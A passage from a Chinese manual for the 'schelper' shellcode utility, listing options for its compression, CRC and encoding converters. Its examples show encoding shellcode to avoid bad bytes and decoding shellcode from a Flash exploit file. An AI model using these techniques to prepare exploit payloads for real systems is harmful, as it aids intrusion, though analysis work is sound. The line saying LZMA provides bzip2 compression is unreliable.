byte_order是指定UNICODE格式字符串的字节序,值是0为LE,值是其他为BE,默认是LE。
codepage是指定非UNICODE格式字符串的代码页号,默认值为0,即缺省ANSI代码页(CP_ACP)。
其他的代码页号请参照MSDN,常用的代码页好还有65001(CP_UTF8)。
(11) UTF-8
"UTF-8"不是shellcode的编码器,而是数据转换器,提供非UNICODE字符串到UTF-8字符串的转换功能。
目前支持的参数格式如下:
UTF-8 encoder's options: [codepage]
(12) CRC
"CRC"不是shellcode的编码器,而是数据转换器,提供计算多种CRC算法的校验值和逆向CRC算法的值。
目前支持的参数格式如下:
CRC encoder's options: [bits][,mode][,crc_value][,rcrc_value]
bits: 8,16,32(default) or 64
mode:
8 bits: 0 - CRC-8
16 bits: 0 - CRC-16; 1 - CRC-16-CCITT; 2 - CRC-16-T10DIF; 3 - CRC-16-DNP
32 bits: 0 - CRC-32(default); 1 - CRC-32C; 2 - CRC-32K; 3 - CRC-32Q
64 bits: 0 - CRC-64; 1 - CRC-64-ISO; 2 - CRC-64-ECMA
crc_value: 0(default)
rcrc_value: -1(default)
目前支持CRC-8,CRC-16,CRC-32,CRC-64多种CRC算法,缺省为CRC-32算法。
bits是CRC算法的位数
mode是指定某个位数CRC的具体算法,缺省值为0
crc_value是指定CRC算法的初始值,用于计算非连续数据CRC校验值,缺省为0。
rcrc_value是指定逆向CRC算法最终的校验值,缺省为-1。
(13) Deflate
"Deflate"不是shellcode的编码器,而是数据转换器,提供gzip和zlib的核心压缩算法Deflate的压缩和解压缩功能。
目前支持的参数格式如下:
Deflate encoder's options: [mode][,passes][,fb][,algo][,mc]
mode: 32(default) or 64
passes: 1(default)-10
fb: 3 - 258(32 is default)
algo: 0 or 1(default)
mc: (32 is default)
mode指定Deflate算法的位数,缺省为32位。还支持Deflate64算法。
passes指定Deflate算法压缩时扫描次数,缺省值为1,取值范围1到10,值越大压缩率越高。此选项只用于压缩功能。
fb指定Deflate算法单词大小,缺省值为32,取值范围3到258,值越大压缩率越高。此选项只用于压缩功能。
algo为0表示使用快速Deflate算法,压缩率会降低;1表示使用正常Deflate算法。缺省值为1。此选项只用于压缩功能。
mc指定Deflate算法查找匹配算法的周期,缺省值为32,值越大压缩率越高。此选项只用于压缩功能。
(14) BZip2
"BZip2"不是shellcode的编码器,而是数据转换器,提供bzip2压缩算法的压缩和解压缩功能。
目前支持的参数格式如下:
BZip2 encoder's options: [passes][,threads][,dict_size]
passes: 1(default) - 10
threads: 1(default)
dict_size: 1 - 9(default)
passes指定bzip2算法压缩时扫描次数,缺省值为1,取值范围1到10,值越大压缩率越高。此选项只用于压缩功能。
threads指定压缩时启用的线程数,缺省值为1。此选项只用于压缩功能。
dict_size指定bzip2算法字典大小,缺省值为9,取值范围1到9,值越大压缩率越高。此选项只用于压缩功能。
(15) LZMA
"LZMA"不是shellcode的编码器,而是数据转换器,提供bzip2压缩算法的压缩和解压缩功能。
目前支持的参数格式如下:
LZMA encoder's options: [dict_size][,lc][,lp][,pb][,fb][,algo][,threads][,end_mark][,match_finder][,mc]
dict_size: 0 - 30(23 is default)
lc: 0 - 8(3 is default)
lp: 0(default) - 4
pb: 0 - 4(2 is default)
fb: 5 - 273(128 is default)
algo: 0 or 1(default)
threads: 1(default)
end_mark: 0(default) or 1
match_finder: BT2,BT3,BT4(default) or HC4
mc: (16+fb/2 is default)
dict_size指定LZMA算法字典大小,缺省值为23,取值范围0到30,值越大压缩率越高。
lc指定LZMA算法字节上下文位数,缺省值为3,取值范围0到8。
lp指定LZMA算法字节位置位数,缺省值为0,取值范围0到4。
fb指定LZMA算法单词大小,缺省值为128,取值范围5到273。此选项只用于压缩功能。
algo为0表示使用快速LZMA算法,压缩率会降低;1表示使用正常LZMA算法。缺省值为1。此选项只用于压缩功能。
threads指定压缩时启用的线程数,缺省值为1。此选项只用于压缩功能。
end_mark为0表示不使用LZMA结束标记;1表示使用LZMA结束标记。缺省值为0。此选项只用于压缩功能。
match_finder指定查找匹配算法的类型,目前支持BT2,BT3,BT4,HC4。缺省值为BT4,此时压缩率最高。此选项只用于压缩功能。
mc指定LZMA算法查找匹配算法的周期,缺省值为(16+fb/2),值越大压缩率越高。此选项只用于压缩功能。
(16) aPLib
"aPLib"不是shellcode的编码器,而是数据转换器,提供aPLib压缩算法的压缩和解压缩功能。
(17) None
None是不做任何编码,只输出原始数据。
四、示例:
(1) C语言字符串格式转成Perl语言字符串格式:
schelper -i shellcode.c -o shellcode.pl -d 2
(2) 从键盘输入数据(Windows下可以使用复制粘贴来输入)并转成C语言字节数组格式:
schelper -i -d 1
(3) 对shellcode数据进行编码,使其不包含0,0xd,0xa字符,编码后输出Python语言字符数组格式:
schelper -i shellcode.bin -en 0 -ex 0,0xd,0xa -d 3
(4) 对利用flash漏洞的ie.swf中包含的shellcode进行解码,解码后输出HexDump格式:
schelper -i ie.swf -off 0xeb -de -d 9
(5) 对上面的例子,再进行编码,结果输出C语言字节数组格式:
schelper -i ie.swf -off 0xeb -de | schelper -en -d 1
五、Changelog:
v1.51 减小了EXE转Shellcode功能的Loader部分的字节数,并且支持win7。
(以前略)